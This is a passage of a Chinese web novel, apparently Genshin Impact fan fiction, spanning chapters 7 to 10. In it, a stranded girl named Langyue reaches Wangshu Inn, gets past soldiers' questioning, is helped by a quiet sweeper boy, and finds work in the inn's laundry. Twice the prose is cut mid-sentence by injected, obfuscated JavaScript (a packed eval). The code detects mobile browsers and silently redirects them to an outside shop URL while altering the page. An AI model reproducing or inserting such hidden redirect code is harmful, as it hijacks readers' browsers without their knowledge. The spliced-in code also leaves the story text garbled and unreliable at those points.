朗樾浑身一僵,慢悠悠地转了过去。 7. 第 7 章 奇怪的少年 两名千岩军士兵从树林边缘走了出来。 他们显然早就注意到她了。两个人都很年轻,二十出头,脸被风吹日晒得糙糙的,眼神却锐利得很。前面那个长枪微微抬着,枪尖指地,但那个架势随时能扎过来。后面那个按着腰间的刀柄,眼睛已经把她从头到脚扫了一遍。 “什么人?”按刀柄的开口,声音稳稳的,公事公办的味儿。 朗樾心脏都快从嗓子眼蹦出来了。她拼命让自己镇定,但一开口声音还是抖的:“我……我是……” “从哪儿来?”另一个士兵接话,目光在她身上转——破烂湿透的衣服,全是伤口的赤脚,乱糟糟的头发,白得不像话的脸。 “从……从东边来。”朗樾咽了口唾沫,喉咙干得像砂纸,“瑶光滩那边。” “瑶光滩?”按刀柄的皱了眉,“那边最近不太平。你怎么一个人过来的?” “我……我遇到船难了。”她开始现编,这是她能想到最合理的说法,“船在瑶光滩那边撞了礁石,只有我……只有我活下来。我在沙滩上醒过来,什么都不记得了,就记得自己名字,还有一点乱七八糟的画面……后来碰见个好心的老人,他让我往西走,说望舒客栈这边安全……” 她尽量让自己显得又迷茫又可怜,一边说一边偷偷瞄那俩人的反应。 两人对看了一眼。拿枪的那个低声说:“最近是有商船在孤云阁那边出事的报告……” “你叫什么?”按刀柄的问,语气稍微软了一点点。 “朗樾。” “哪儿人?听口音不像璃月本地。” 口音?朗樾心里咯噔一下。她忽然反应过——她一直说的普通话,而不管是之前的周伯还是这两个千岩军,说的都不是普通话。但她全听得懂,他们也能听懂她。 “……我不知道。”她低下头,装出努力想又想不起来的样子,“我连自己从哪儿来的都不记得了……就记得船,还有海……” 又一阵沉默。俩人眼神交流了一会儿。最后按刀柄的叹了口气。 “行了。看你这样也不像盗宝团或愚人众的探子。”他摆摆手,“往前就是望舒客栈。那边有我们的人驻守,相对安全。但是——”他语气严肃起来,“别惹事,别乱跑,到客栈下头找我们的人登个记。最近边境不太平,所有生面孔都得报备。” 朗樾赶紧点头:“谢谢……谢谢军爷。” “去吧。”拿枪的侧身让开路,但眼睛还盯着她。 朗樾不敢停,低着头快步往前走。背后那两道目光一直跟着她,走出好远,拐过一个小土坡,那种被盯着的感觉才消失。 她松了口气,心跳还是很快。算是混过去了,但也只是暂时的。要是千岩军再细问,她那套漏洞百出的说法根本经不起推敲。 不过现在顾不上那么多。先到客栈再说。 当太阳沉到地平线边上,天被染成橙红和深紫混在一起的颜色的时候,朗樾终于走到水域边缘。 这儿比她远看的时候热闹得多。一个简陋但功能齐全的小码头延伸进水中,是用木头搭的,表面被踩得油光发亮。几艘大大小小的船系在木桩上,跟着海水起起伏伏。空气里混着水腥味、鱼腥味、木头潮味,还有不知道哪儿飘来的饭菜香,搅成一团。 码头上有人在忙活。两个光膀子的汉子正从船上往下搬鱼筐,筐里的鱼还蹦着。一个穿粗布裙子的女人蹲在水边洗菜,旁边放着个木盆。远处几个小孩追着跑过去,留下一串笑。 朗樾一出现,有人抬头看了她一眼。洗菜的女人瞥她一下,眼神里有点好奇也有点同情,然后又低头忙自己的。搬鱼的汉子们扫了她一眼,嘟囔了句什么,但手上的活没停。 她像个影子一样穿过码头,踏上通往客栈的木栈桥。 栈桥很宽,够两辆马车并排走,但这时候没几个人。两边有简易栏杆,脚下是厚木板,踩上去咚咚响。走一段就有一个小平台,上面有些小摊——卖烤鱼的,卖热汤的,卖杂七杂八日用品的。 她摸了摸口袋。空的。一个摩拉都没有。 ……平时兜里没钱,至少还能刷个校园卡。 一个卖烤饼的老太太冲她招手:“姑娘,来一个?刚出锅的,热乎!” 朗樾摇摇头,加快脚步走了过去。老太太的目光追着她,带着点疑惑。 栈桥走了两三分钟,才到客栈主体下头的平台。这平台大得吓人,用无数粗木桩和厚木板搭起来,高出地面半米多,跟个小广场似的。平台上更热闹:有围坐喝酒聊天的,有整理货物的,有晒渔网的,还有几个千岩军靠在栏杆边歇着,警惕的扫视着四周。 天越来越暗,平台上的灯笼一盏盏亮起来。小吃摊飘过来的香味让饿了半天的朗樾胃里一阵抽疼。 她站在客栈投下的阴影里,忽然不知道该怎么办了。 望舒客栈是走到了。然后呢?她没钱买吃的,没钱住店。就算想讨饭,也不知道这儿的人会不会管。万一惹出事,把千岩军招过来…… 周围的嘈杂像潮水一样围着她,但暖不到她身上。那些说话声、吆喝声、碗筷声,什么都听得清清楚楚,却像隔着什么东西。她就是个透明的影子,站在光和热的边缘,却一步也迈不进去。 不能一直站这儿。 她强迫自己动起来,打量四周。主平台上人来人往,灯笼照得什么都清清楚楚。她的目光扫了一圈,最后落在平台东北角。 那儿被上面的建筑和岩体挡着,比平台其他地方暗得多。还堆着些东西——几摞备用桌椅,一堆待洗的桌布,几个空酒坛,还有两道竹编的简易屏风,围出个角落。 就那儿了。 她低下头,让乱糟糟的头发遮住脸,慢慢挪过去。贴着最边上的阴影走,脚步轻得不能再轻。 终于挤进那堆杂物里。她悄悄把屏风挪了挪,挡住外面可能看过来的视线,然后慢慢滑坐到地上,蜷起腿,抱住膝盖。 夜风从衣服破洞里钻进来,凉飕飕的。她把脸埋进胳膊里,闭上眼睛。 先这样吧。等人少点,再晚点,没准儿有客人剩下点东西…… 每有一个人影从屏风外面经过,她心跳就漏一拍。但几乎没人注意到她。偶尔有目光扫过来,也只是停一下,可能以为是个累坏了的小乞丐,然后又移开。这种地方人来人往,什么人都有,只要不惹事,没人在乎。 太阳最后那点光也没了。开始有人三三两两离开平台。 朗樾还在犹豫要不要现在出去,就在这时,一阵轻轻的“沙沙”声穿过那些嘈杂,越来越近。 不是脚步。像……扫帚扫过木板。 她从膝盖上抬起头,透过屏风缝往外看。 一个穿着旧布衣的少年,背对着她,正沿着平台边上一丝不苟地扫地。动作不快,甚至有点过于认真,扫帚划出的线又稳又长,把行人带上的土、落下的叶子、掉地上的食物渣子,都归拢到一起。 少年很瘦,侧脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他从怀里摸出一个小布包。不大,扁扁的,用干净的旧布裹着。他弯腰,把它轻轻放在脚边一块干净点的木板上,往她这边推了推,推到伸手能够到的边上。 然后他指了指平台下面,靠近水边码头的阴影里,一个不太起眼的角落。那儿堆着些等修的旧船板和破渔网,围出一个勉强能挡风的凹陷。 “晚上子时过,”他声音很低,平得没什么起伏,“‘老冯头’的船会靠岸。他挑剩下的杂鱼,有时候会忘在那边篮子里。这儿流浪的猫很喜欢去。” 说完这些,他不再看她,也不等她反应。他站起来,拿起扫帚,继续扫他的地,慢慢往平台另一边挪,很快混进来往的人影和晃动的灯光里,不见了。 朗樾僵在那儿,直到确认他真的走了,周围也没人注意这边,才猛地伸手,一把抓过那个小布包。 入手有点硬,还带着一点没散尽的体温。她哆嗦着打开,里面是两块半个巴掌大的粗粮饼子,压得实实的,干硬,但干干净净。 饼子。能吃的。 刚才那少年的话……“老冯头”、“杂鱼”、“挑剩下的”、“忘在篮子里”…… 他是在……跟她说话? 朗樾愣了一秒,但手里的饼子更快地吸引了她的全部注意。她狼吞虎咽地吞下一块,干硬的饼渣刮过喉咙,但实实在在的淀粉感让她冰凉的身体恢复了一点力气。她把另一块小心收好,塞进怀里最贴身的地方。 她看向少年指的那个码头角落,又低头看表。他刚才说子时……嗯。现在离11点还早。 于是她又想起那双安静到空茫的眼睛。 真是个奇怪的人。她想。 8. 第 8 章 荻花洲深处 夜色渐深,平台上的喧嚣终于完全平息,只剩下风声和水浪拍打木桩的声响。朗樾按照少年的提示,忍着寒冷和恐惧,像幽灵一样悄悄移动到码头那个堆着旧船板的凹陷处,蜷缩起来,目光紧盯着水面。 等的时间比预想长。就在朗樾眼皮打架时,一艘小船靠了岸。驼背老头借着风灯分拣渔获,好的装桶,零碎扔进脚边破竹篮。他提着桶走后,篮子果然留在原地。 朗樾溜过去拎起篮子。里面是些手指长的小杂鱼和发蔫的虾,腥气扑鼻。份量的话,一顿有多,然而她还是犯起了愁。找个破罐什么的容易,但没有火。她还没有勇气吞生鱼。 百般无奈,朗樾只能找个避风的角落(还要躲着巡夜的千岩军),在微亮的晨光里,等到最早一家棚屋升起炊烟,才鼓起勇气,用捡来的、还算完整的几根柴,小心凑近那家的灶膛。屋主是个沉默的老妇,瞥了她一眼,没说话,只把烧着的柴火往里拨了拨,留出一点空隙。 朗樾用半边凹陷的破瓦罐煮了水,把杂鱼丢进去。没有盐,没有任何调料。水滚了几滚,鱼刚变白,她就用树枝捞起,烫着嘴也等不及,囫囵吞下。腥,且苦,带着泥味。汤浑浊,她也顾不得,小口小口喝光了。 提瓦特自制第一餐,米其林零星级。她在心里给自己点评。建议不要回购。 刚放下瓦罐,大路上传来车马声。一队早行的商队停在附近,车夫们一边休整一边闲聊,话语随风飘来:“……石门那边过来还算顺当。”“有岩王爷的神像保佑,能不顺当嘛。” 岩神像…… 七天神像……吗? 朗樾动作一顿,心中升起一簇火光。 是啊,荻花洲有座帝君的神像,她……该去看看呀! 万一呢。她想。万一会有奇迹呢? 说走就走。朗樾找个地方珍惜的把破瓦罐藏好,兴冲冲的往车队来时的方向走去。 路是夯实的土路,宽阔,足以并行两辆马车。这对跋涉过野地的她来说,已是坦途。但她不敢放松,背挺得笔直,始终警惕着任何靠近的车马或行人。晨雾渐渐散去,阳光灼烤着后背,口干舌燥,怀里那块饼子她没舍得动,那是最后的储备。 大约走了一个小时,双腿开始发沉时,前方路旁,一座灰白色的高大石像映入眼帘。 朗樾睁大了眼。 即使隔着一段距离,也能感受到那份独特的沉稳气度。神像并非站立,而是以一种大方随和的姿态端坐于基座之上。岩石雕琢的衣袍线条简朴流畅,覆盖着身躯。右手持握着一件轮廓分明的器物——那是尘世之锁,象征着契约与重量。面容轮廓略显模糊,并非精细雕琢,反而透出一种历经风霜后的古朴与威严,仿佛时光本身模糊了细节,只留下神性的本质。 阳光斜照,为石像冰冷的表面镀上一层淡淡的金色光晕,尘埃在光柱中浮动,更添神圣静谧。 朗樾放缓脚步,慢慢走近。越是靠近,越能感受到那种无声的威压,并非恶意,而是一种浩瀚的、属于时间和神性的沉淀。她站定在基座前,仰头望去,神像垂落的视线仿佛穿透兜帽,落在了渺小的她身上。 会……有反应吗? 她深吸一口气,摒弃杂念,伸出手,指尖轻轻触碰那冰凉粗糙的石质表面。 一秒,两秒,三秒…… 什么都没有发生。 没有暖流,没有金光,没有脑海中浮现的提示,没有想象中岩元素沉稳的力量感。神像只是石头,冰冷、坚硬、沉默的石头。 失望像冰冷的潮水,一点点漫上来,淹没了那点不切实际的期待。 果然……不是游戏啊。她在心里对自己说,扯了扯嘴角,却笑不出来。那种感觉很奇怪,明知道希望渺茫,可当现实冰冷地摆在面前时,还是会有种说不出的空落和茫然。 她绕着神像走了一圈,除了基座上一些模糊的古老刻痕和石缝里顽强生长的植物,再无异样。神像静静矗立,接受着偶尔路过旅人投去的敬畏一瞥,与她的困惑和失望毫无关联。 最后一点侥幸熄灭。她回头望了望望舒客栈的方向,那片岩峰在阳光下清晰可见。比起虚无缥缈的神迹,眼下如何活下去才是实实在在的问题。怀里的饼子撑不了多久。 回去,去人多的地方,找机会。 —————————————————————————————————————————————— 回到客栈码头附近,已近中午,人声鼎沸,空气里混杂着各种气味。她徘徊在边缘,观察了很久。看到有货主在招短工搬运,她鼓起勇气上前,用生硬的、模仿来的本地话小心询问。 “去去去!瘦得跟柴火似的,搬得动什么?”满脸横肉的货主不耐烦地挥手。 被拒绝了。 她又看到一个客栈伙计模样的在整理一大堆晾晒的桌布,似乎需要帮手。她凑过去,还没开口,对方就皱起眉:“做什么?脏死了,一边去!”眼神里带着审视和驱赶。 朗樾垂下头,默默走开。 一次,两次,三次……每一次鼓起勇气上前,换来的都是嫌弃的目光、不耐烦的挥手或干脆的漠视。每一次被拒绝,都像在她紧绷的神经上又添一道裂痕。 就在她几乎要放弃,准备继续去翻找可能被遗忘的食物残渣时,一个正在指挥搬运沉重木箱的脚夫头目吸引了她的注意。那是个满脸络腮胡、皮肤黝黑的中年汉子,嗓门洪亮,正对着几个偷懒磨蹭的工人吼:“没吃饭吗?!赶紧的!日落前这批货都要上船!” 他骂得凶,眼睛却毒,一眼瞥见角落里脸色苍白、欲言又止的朗樾。他的目光在她磨破的赤脚、褴褛的衣衫和那双因多次被拒而黯淡的眼睛上停了停,眉头几不可察地皱了一下。 一个工人搬着箱子踉跄了一下,汉子立刻骂过去:“看着点路!毛手毛脚的!” 骂完,他像是突然想起什么,转过头,粗声粗气地冲着朗樾的方向喊道:“喂!那边那个!躲着干什么?没看见这儿缺人手吗?” 朗樾愣了一下,没反应过来是在叫自己。 “就你!”汉子不耐烦地挥手,指着码头另一边堆放的几捆备用麻绳,“那几捆绳子,看到没?搬到第三条栈桥边上那艘‘清河号’旁边去!搁整齐了!工钱按捆算,搬完了来这儿拿钱!” 他的语气依然又冲又快,仿佛这不是一份工作,而是一个必须立刻执行的命令。 那几捆浸透了桐油和汗水的麻绳,每一捆都比看起来 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朗樾慌忙捡起摩拉,紧紧攥住布袋,喉咙发堵,只能低低说了声:“……谢谢。” “谢什么谢,干活拿钱,天经地义。”汉子终于抬起头,粗黑的眉毛拧着,挥挥手像赶苍蝇一样,“赶紧走,别挡道。饿了就去买点吃的,瞧你那样儿。” 他转头又去吼其他工人了,仿佛刚才那一点点微不可察的照拂从未发生。两百摩拉,听起来不少。可当她站在码头边那个卖干粮的简陋摊子前,听着摊主报价,心就凉了半截。最便宜的杂粮厚饼,七十五摩拉一个。她犹豫再三,买了两个。看着摊主麻利地收走一百五十枚摩拉,她捏着瞬间瘪下去的钱袋和仅剩的五十摩拉,喉头发紧。 钱……这么不经花。 她正盯着怀里两个油纸包发呆,盘算着接下来怎么办,一个高大的阴影罩下。 “你,”穿着千岩军盔甲的士兵面容严肃,“昨天是不是你?从东边来的,说船遇难了那个?” 朗樾心里猛地一沉。 “到了望舒客栈,为何不去登记?”士兵语气严厉,“跟我走一趟。” 完了。她脑子里嗡的一声,脸上却本能地挤出惶恐和迷茫:“我、我昨天太累了,又饿……找不到地方问……后来,后来就忘了……对不起军爷,我真的不是故意的,我现在就去……”她语无伦次,手指无意识地揪紧了装着饼子的油纸包,指节发白。 士兵皱着眉,目光扫过她褴褛的衣衫、磨破的手掌,以及怀里寒酸的食物和那个干瘪的钱袋,脸色稍缓,但语气依旧强硬:“念你初犯,又确实……不易。立刻去补登记!再有下次,按律处置!” 又是一番盘问和记录,比昨日更详细些。她重复着船难失忆的说辞,住址只能含糊说在码头找零活。士兵警告她要安分,才终于放她离开。 走出临时登记处,阳光刺眼。她长长舒了口气,后背的汗还没干。 怀里的饼子似乎也失去了温度。她拖着疲惫的步伐,想找个地方坐下,把这两个来之不易的饼子吃了。 刚拐过一堆高高的货箱,眼前人影一晃,差点撞上。 “对不……”她慌忙抬头,道歉的话再次卡在喉咙里。 朗樾一眼认出,正是昨晚那个少年。 9. 第 9 章 你得去北边 白日的光线下,他看起来更清晰了些。依旧穿着旧布衣,但袖口挽起,露出手腕,上面沾着点泥灰和植物的汁液。他拖着一个鼓鼓囊囊的大布袋,显然有点费劲。 他把贴在脑门上的碎发扒拉开,歪了歪脑袋,像是也认出了她。 和夜晚那种空茫的安静不同,此刻他的眼睛很亮,正看着她,目光里带着一种纯粹的好奇。那目光很直接,不躲闪,也并不招人厌烦。 就那样静静地看了她几秒,他放下袋子站直身来,忽然道:“你……没想过往北边走吗?” 朗樾一怔。 少年见她没立刻回答,又接着说,像是自言自语:“那边查得不那么严。至少比在这里容易活下去。”他看她的目光忽然有点锐利,“你应该去那里。” 朗樾张了张嘴,又闭上。最后只是干巴巴地说:“……路太远。我好不容易才走到这里。而且,我没钱。” 少年愣了一下,点了点头。倒也没显出失望或不高兴,转身拖起袋子,继续走。那布袋拖在地上沙沙响。 朗樾看着他的背影,忍不住叫住他:“喂,你——” 少年停下脚,回头看她。 朗樾其实也不知道自己叫住他要干嘛,被这么一看,只好问:“你叫什么名字?” “阿响。”少年慢慢眨了一下眼睛,“他们都叫我阿响。” 朗樾看着他拖着袋子走远,沙沙声越来越小。她收回目光,找了个角落把饼子吃了,还是留了一个揣在周伯给她的包裹里,连同仅剩的五十摩拉。 下午,她重新在码头和客栈周边转悠。手臂还酸着,但肚子比胳膊要紧。 走到码头边上那片棚户区,看见一个中年妇人正费力地把一大木盆湿衣服从井边往晾架那边挪。盆斜了,水洒出来,妇人嘴里骂着自家跑没影的小子。 朗樾站了两秒,上前帮她把住盆沿。妇人吓了一跳,抬头见是个面生的瘦姑娘,愣一下,借着力稳住了盆,口气缓下来:“哎哟,多谢你了……差点全洒了。” 两人把盆抬到架子旁。妇人捶捶腰,打量朗樾,目光在她脸上和磨破的手上停了停,语气带了点试探:“面生啊,不是这儿常住的吧?找活计?” 朗樾点头:“想找点零工,什么都行。” “零工啊——”妇人咂咂嘴,眼神里闪过盘算。她没接话,转身慢悠悠晾衣服,一边晾一边说,“这年头活计不好找。上头规矩严,用人挑。下面码头都是力气活,还得有熟人担保。”晾完一件,瞥她一眼,“你一个人?有路引吗?亲戚在这儿?” 朗樾摇摇头。 妇人手上没停,眉头微微皱着。过了一会儿,压低声音道:“我看你人倒还实诚……巧了,我闺女就在这下面客栈的洗衣堂做事。” 她看朗樾眼神动了,继续说:“那丫头前两天搬东西摔了,脚脖子肿得老高,大夫说得歇几天。洗衣堂一天不能缺人,刘管事正头疼。我那闺女本也不用歇那么久,可老不上工也不是个事。” 她凑近点,声音更低:“你要是愿意,我带你去见刘管事。就说是我老家来的侄女,投奔我,临时顶几天。工钱不如正式的,但管两顿饭,我再帮你说说好话,没准儿还能让你晚上也睡在洗衣堂边上的小隔间——总比在外头强。”她话锋一转,“不过话说前头,我只管引路。成不成看刘管事。就顶这几天,等我闺女脚好了你就得走。正式工没路引没保人,想都别想。明白?” 朗樾连忙点头:“明白,谢谢婶子!我愿意试试,好好干,不给您添麻烦。” “嗯。”妇人脸色缓了些,“那你等会儿,我把这几件晾完就带你去。记着,少说话,多看眼色,刘管事问什么答什么,别提你从哪来的,就说投奔我来的。” “好。” 妇人晾完衣服,又上下扫她一眼,眉头皱起来:“你就穿这身去见刘管事?”她指指朗樾身上那件脏得看不出颜色的卫衣和磨破的牛仔裤,“不成不成,一看就不是干活的人。刘管事最看重这个。” 她叹口气:“算了,帮人帮到底。等着,别乱跑。” 妇人进了旁边低矮的棚屋,不一会儿拿出来一套叠好的旧衣服和一双布鞋。灰扑扑的粗布衣裤,洗得发白,袖口裤脚都磨毛了,但干净。黑布鞋,圆口,底很薄,穿了些年头,鞋帮缝线磨得发毛,但刷得干干净净。 “我前几年穿的,旧了点,好歹像个干活的样子。换上。”她又指指屋角一个盛清水的瓦盆和旧布巾,“脸手洗洗,头发捋捋。” 朗樾接过衣服,绕到棚屋侧面。脱下自己那身又脏又破的衣服时,心里有点怪。换上粗布衣裤,料子糙,不太合身。她洗了手脸,用布巾擦干,用手指理了理打结的头发。 再出来时,瘦还是瘦,但至少不像刚从泥里滚出来的了。 妇人点点头:“嗯,凑合。记住,少说话,刘管事问啥答啥,别提你从哪来的。” “记住了,婶子。真谢谢您。”朗樾把换下的脏衣服卷成一团。 “先放我这儿吧,回头再说。”妇人摆手,“走吧。” 妇人领着朗樾离开棚户区,沿着客栈大岩柱基座旁的小路往后走。十来分钟,到一片平房院子前。听见哗哗水声和拍打声,空气里有皂角味。几间大屋敞着门,里头雾气腾腾,好些女人埋头在木盆和水槽前忙活。 这就是客栈的洗衣堂。 妇人让朗樾在院外等着,自己先进去。过了一会儿,她和一个头发梳得紧、脸上没表情、系深色围裙的大婶一起出来。那大婶眼神跟刀子似的,把朗樾从头到脚刮了一遍。 “就她?”刘管事开口,声音有点硬。 “是,刘管事,我老家来的侄女,叫朗樾,孩子老实,能吃苦。”妇人陪着笑。 刘管事没接话,走到朗樾跟前:“以前洗过大堆衣服吗?知道怎么用皂角,怎么捶,怎么晾不容易皱?” 朗樾摇头:“没洗过这么多……但我学得快,力气活能干。” 刘管事又看了看她的手,没吭声。 “先试两天。”刘管事最后说,“一天两百摩拉,管早饭和午饭。晚上睡旁边那小储物间,铺盖自己想办法。规矩就一条:手脚干净,干好自己的活,不该看的别看,不该问的别问,不该碰的别碰。干得好,就顶到你妹妹脚好;干不好,随时走人。明白?” “明白了,谢谢刘管事。” “进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307614|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去吧,找张嫂,她会安排你干活。”刘管事挥挥手,转身回院里。 妇人松口气,小声说:“好好干啊,我回去了。”说完走了。 朗樾站在洗衣堂门口,里面水声、捶打声、女人说话声,混着潮乎乎的皂角味涌过来。 她吸了口气,迈进去。 几间大屋打通,靠墙一溜大水槽和石砌洗衣池,冒着热气。地上全是水,空气又湿又闷。十几个妇人埋头在木盆或水槽前搓衣服。 “新来的?”一个脸圆圆、手臂粗壮的妇人走过来,嗓门大。是张嫂。 “是,张嫂,刘管事让我来找您。” 张嫂上下扫她一眼,直接指墙角:“来得晚,重活赶不上了。去,把那堆洗好的枕巾毛巾搬到后院晾起来。竹竿和夹子在那儿。动作快点,太阳下山前得晾上。” 这是纯力气活,但比搓洗捶打容易上手。朗樾应了一声,立刻动手。盛满湿毛巾枕巾的筐子很沉,她一趟趟搬,在后院那些高高的晾衣架间穿来穿去,踮着脚把织物搭上竹竿,用木夹固定。湿布料不停滴水,把她刚换上的粗布衣裤和小腿都打湿了,傍晚的风一吹,凉飕飕的。 她埋头干,偶尔有其他女工经过,看她一眼,或低声交谈两句,但没人特意跟她搭话。她也不吭声,只是加快动作。 晾完毛巾枕巾,张嫂又让她去帮两个女工拧几床刚漂洗好的大被单。被单吸饱了水,死沉。三个人咬着牙反向拧,直到拧不出水,手臂酸得发抖。 “还行,有点力气。”其中一个女工松开手,擦了把汗,对朗樾随口说了一句。 接着是收拾。倒脏水,刷木盆,把工具归位。等最后一批衣物也晾上架子,天已经擦黑。洗衣堂里的水声、捶打声渐渐停了,女工们拖着步子陆续离开。 张嫂走到朗樾面前,递给她一个小布袋:“喏,今天的工钱。刘管事说了,来得晚,算半天,一百摩拉。明天早上七点上工,别迟到。” “谢谢张嫂。”朗樾接过钱袋。 “晚上睡那小隔间。”张嫂指了指院子角落那个不起眼的小门,“里头有旧草席,自己铺。早上开工前,去大厨房那边领早饭——别去晚了,晚了就没了。记住地方了吗?从这儿出去,左拐,走到头那个冒烟的大房子就是员工伙房。” “记住了,谢谢张嫂。” 张嫂摆摆手,转身走了。偌大的洗衣堂院落很快空下来,只剩下晾满的衣物在暮色里轻轻飘动,滴滴答答地滴水。 朗樾推开那间小储物室的门。里面窄,堆着杂物,有股灰尘和潮气。角落铺着些干草,上面扔着两张磨损的旧草席。没有窗户。 但好歹能关上门。 她把草席摊开,拂了拂灰,坐下来。浑身都酸,尤其是手臂和腰。湿掉的裤腿贴着皮肤,很不舒服。口袋里有了今天的工钱,晚上有地方躺,明天早上还有一顿早饭。 她靠在墙上,从包裹里掏出剩下那个没舍得吃的杂粮饼,慢慢啃。饼子硬,她嚼得很仔细。 吃完蜷在草席上,裹紧单薄的衣服。脑子里闪过“晚上或者再去昨晚那里看看还有没有剩的小杂鱼……”,但她太累了,眼皮沉得睁不开,一眨眼就睡了过去。 10. 第 10 章 那些光 朗樾从深沉的睡眠里挣扎着醒过来时,腕表的时间才早上六点二十。 她在草席上睁眼,恍惚了几秒。储物间黑得密不透风,只有门缝底下透进来一丝晨光。身下的干草硌着背,粗布衣服凉飕飕的——但至少,这一晚她真正躺下来,睡了个整觉。 坐起身,活动了一下酸痛的肩背。昨天搬那些湿衣物和被单的疲惫还留在肌肉里,但比起在野外露宿时的寒冷和恐惧,这种纯粹的累反而让她觉得踏实。 摸到水囊,喝了两口昨晚剩的清水。然后她开始整理自己——用手指梳理打结的头发,拍掉衣服上的草屑,检查脚上的伤口。那些在断桥和归离原留下的划伤已经开始结痂。 六点半,她推开储物间的门。 晨雾还没散,洗衣堂的院子笼在一片灰蓝里。晾衣架上挂满了昨天洗好的衣物,在微风里轻轻晃动。 按张嫂说的,她左拐走向员工伙房。路上遇到三三两两的工人,大多是中年男女,脸上带着早起特有的困倦和麻木。他们瞥她一眼,没人打招呼,也没人问——这地方新面孔来来去去,不值得多嘴。 伙房是个宽敞的大棚,里头热气腾腾,飘着米粥和蒸饼的香味。几个厨娘在大锅前忙活,见朗樾进来,其中一个粗声粗气地问:“新来的?洗衣堂的?” 朗樾点头。 “碗在那边,自己盛。粥和咸菜管够,蒸饼一人一个。”厨娘朝墙边的木桶和竹筐扬了扬下巴,“吃完把碗洗干净放回去。” 朗樾拿起粗陶碗,舀了满满一碗稀粥。粥很稀,米粒没几颗,但热乎乎的。她又夹了筷子咸菜,拿了个灰扑扑的杂粮蒸饼,蹲到角落,开始狼吞虎咽。 粥寡淡,咸菜齁咸,蒸饼还算软乎,但朗樾已经很满意了。热乎乎的粥虽清,却是免费的。她足足添了两次碗,才慢下来,小口小口地喝。 周围的人在安静吃饭,偶尔低声交谈几句。无非是昨天的活儿、家里的琐事、某个工友的八卦。朗樾竖起耳朵听,想从这些碎片里拼凑出这个世界的日常。 “……听说之前路过咱们这儿去蒙德的商人,都快到了,又退回来,啧,好像那边最近不怎么太平。” “得了吧,跟咱有啥关系。哎,你知道吗?刘管事昨天又扣了老李五十摩拉,说他拉回来的柴太潮。” “我家那小子,非要去璃月港学手艺,说一直待在这客栈没出息……” 璃月港。蒙德。 熟悉的地名让朗樾心里一动。在游戏里,这些是她无数次传送的地方,是充满任务和冒险的舞台。可在这里,在这些人嘴里,它们只是遥远的存在,是生活的背景音。 吃完最后一口粥,她把碗洗干净放回去。六点五十,回到洗衣堂。 张嫂已经在了,正招呼几个早到的女工准备开工。见朗樾回来,她点点头:“来得正好。去把后院那些晾干的枕巾毛巾收进来,按花色分好,叠整齐。然后去井边打水,把大池子灌满——今天要洗三批客房的床单。” “好的,张嫂。” 朗樾应了一声,立刻动手。 收晾干的织物是个细致的活。她踮着脚从高高的竹竿上取下枕巾毛巾,按花色和材质分类,再一张张叠成方块。太阳渐渐升高,照在织物上,皂角和阳光混在一起,气味清新。 活儿单调,却让她有种奇异的平静。不用思考生死,不用警惕危险,只需要重复简单的动作。手指在粗糙的布料间穿梭,肌肉记忆慢慢成形。 七点整,女工们陆续到齐。洗衣堂热闹起来,水声、捶打声、说话声混成一片。朗樾被安排跟两个年轻女工一起洗第一批床单。 “新来的,你叫什么?”圆脸的那个一边往木盆里倒皂角粉,一边随口问。 “朗樾。” “哦。我是小翠,她是阿芳。”圆脸女工指指旁边沉默寡言的瘦高个,“你是王婶家来的侄女?” 朗樾点头,没多解释。 “王婶那人……”小翠撇撇嘴,想说什么,被阿芳用胳膊肘捅了一下,便住了嘴,转而说,“算了。你会捶衣服吗?像这样——” 她示范着把浸湿的床单铺在光滑石板上,用木槌有节奏地捶。不是蛮力,是技巧:力道均匀,角度合适,才能把污渍震出来又不伤布料。 朗樾学着她的样子试。一开始笨手笨脚,不是太轻就是角度不对。几次之后,慢慢找到了节奏。木槌落下,闷闷的“噗噗”声,水花溅起,在阳光里闪。 “还行,学得挺快。”小翠说,语气里少了最初的疏离。 整个上午就在重复里过去。朗樾的手很快泡得发白起皱,胳膊酸软,后背被蒸汽熏得透湿。但她没停,也没抱怨。她看着别的女工,学她们的技巧,照她们的样子做。 中午,她们轮流去伙房吃饭。午饭是杂粮饭和炖菜,菜里居然有几片肥肉。朗樾吃得很快,然后立刻回洗衣堂——张嫂说了,午休时间短,得抓紧。 下午的活儿更重。一批从岩顶客房送下来的桌布和餐巾要紧急处理,沾满了酒渍和油污。女工们先用特制的去污剂泡,再用力搓,最后用开水烫。 朗樾的手在热水里烫得通红,去污剂刺鼻的气味熏得眼睛发酸。她咬着牙,一遍遍搓那些顽固的污渍。汗从额头流下来,滴进木盆。 “喂,新来的。”张嫂不知什么时候走到她身边,看着她搓,“手法不对。要顺着纹理搓,不能乱揉。还有,这块桌布是细棉的,不能用这么烫的水。” 朗樾连忙调整。 张嫂看了她一会儿,忽然说:“你以前真没干过这活?” “……没有。”朗樾老实答。 “哼。”张嫂哼了一声,语气倒不严厉,“倒是肯学。明天开始,我教你熨烫。那活儿更讲究,但工钱能多五十摩拉。” 朗樾愣了一下,随即明白这是某种认可。“谢谢张嫂。” “谢什么,干好活就行。”张嫂摆摆手,又去巡视别人了。 傍晚,最后一批衣物晾上架子。女工们开始收拾工具、洗木盆、扫地。朗樾被安排去倒脏水,她提着沉甸甸的木桶,一趟趟往返于洗衣堂和排水沟之间。 夕阳西下,望舒客栈的岩峰被染成金色。岩顶的楼阁亮起灯火,栈道上的灯笼一盏盏点燃,在暮色里连成一条光带。码头上传来晚归渔船的号子,混着商队卸货的嘈杂。 朗樾站在洗衣堂后院,望着眼前的一切。 前天晚上,她还在这片岩峰下像幽灵一样晃荡,为了一顿饱饭发愁。现在她站在这儿,浑身酸痛,双手粗糙,但口袋里有了今天的工钱——两百摩拉 